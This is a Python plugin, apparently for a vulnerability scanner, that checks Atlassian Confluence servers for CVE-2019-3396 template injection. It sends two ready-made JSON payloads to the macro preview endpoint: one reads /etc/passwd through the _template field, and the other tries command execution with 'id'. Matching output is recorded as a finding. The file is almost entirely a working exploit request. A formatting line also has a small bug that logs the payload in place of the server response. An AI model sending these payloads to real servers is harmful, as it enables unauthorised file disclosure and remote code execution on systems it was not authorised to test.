#!/usr/bin/env python
# _*_ coding: utf-8 _*_
import requests
import ClassCongregation


class VulnerabilityInfo(object):
    def __init__(self, Medusa):
        self.info = {}
        self.info['number'] = "CVE-2019-3396"  # 如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['version'] = "所有1.xx，2.xx，3.xx，4.xx和5.xx版本\r\n所有6.0.x，6.1.x，6.2.x，6.3.x，6.4.x和6.5.x版本\r\n所有6.7.x，6.8.x，6.9.x，6.10.x和6.11.x版本\r\n6.6.12之前的所有6.6.x版本\r\n6.12.3之前的所有6.12.x版本\r\n6.13.3之前的所有6.13.x版本\r\n6.14.2之前的所有6.14.x版本"  # 这边填漏洞影响的版本
        self.info['disclosure'] = '2019-10-13'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2019-10-13"  # 插件编辑时间
        self.info['algroup'] = "AtlassianConfluencePathTraversalAndCommandExecutionVulnerability"  # 插件名称
        self.info['name'] = 'AtlassianConfluence路径穿越与命令执行漏洞'  # 漏洞名称
        self.info['affects'] = "Confluence"  # 漏洞组件
        self.info['desc_content'] = "ConfluenceServer与ConfluenceDataCenter中的WidgetConnector存在服务端模板注入漏洞，攻击者构造特定请求可远程遍历服务器任意文件，甚至实现远程代码执行攻击。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(**kwargs)->None:
    url=kwargs.get("Url")#获取传入的url参数
    Headers=kwargs.get("Headers")#获取传入的头文件
    proxies=kwargs.get("Proxies")#获取传入的代理参数

    data = '''{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}'''
    data2='''{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"id"},"body":""}}'''
    Payload = "/rest/tinymce/1/macro/preview"
    PayloadUrl = url+Payload
    Referers = url
    Headers['Accept']='text/plain, */*; q=0.01'
    Headers['X-Requested-With']='XMLHttpRequest'
    Headers['Accept-Encoding']='gzip, deflate, br'
    Headers['Content-Type']='application/json; charset=utf-8'
    Headers['Referer']=Referers
    Headers['Connection']='keep-alive'
    try:
        resp = requests.post(PayloadUrl, data=data,proxies=proxies, headers=Headers, timeout=5)
        resp2 = requests.post(PayloadUrl, data=data2, proxies=proxies, headers=Headers, timeout=5)
        con = resp.text
        con2 = resp2.text
        code = resp.status_code
        code2 = resp2.status_code
        if (code==200 and con.lower().find('bin')!=-1 and con.lower().find('root')!=-1) or (code2==200 and con2.lower().find('uid=')!=-1 and con2.lower().find('gid=')!=-1):
            Medusa = "{} 存在AtlassianConfluence路径穿越与命令执行漏洞(CVE-2019-3396)\r\n漏洞详情:\r\nPOST:{}\r\n返回内容:{}\r\n".format(url, data2,data,con)
            _t = VulnerabilityInfo(Medusa)
            ClassCongregation.VulnerabilityDetails(_t.info, resp2,**kwargs).Write()  # 传入url和扫描到的数据
            ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l=ClassCongregation.ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类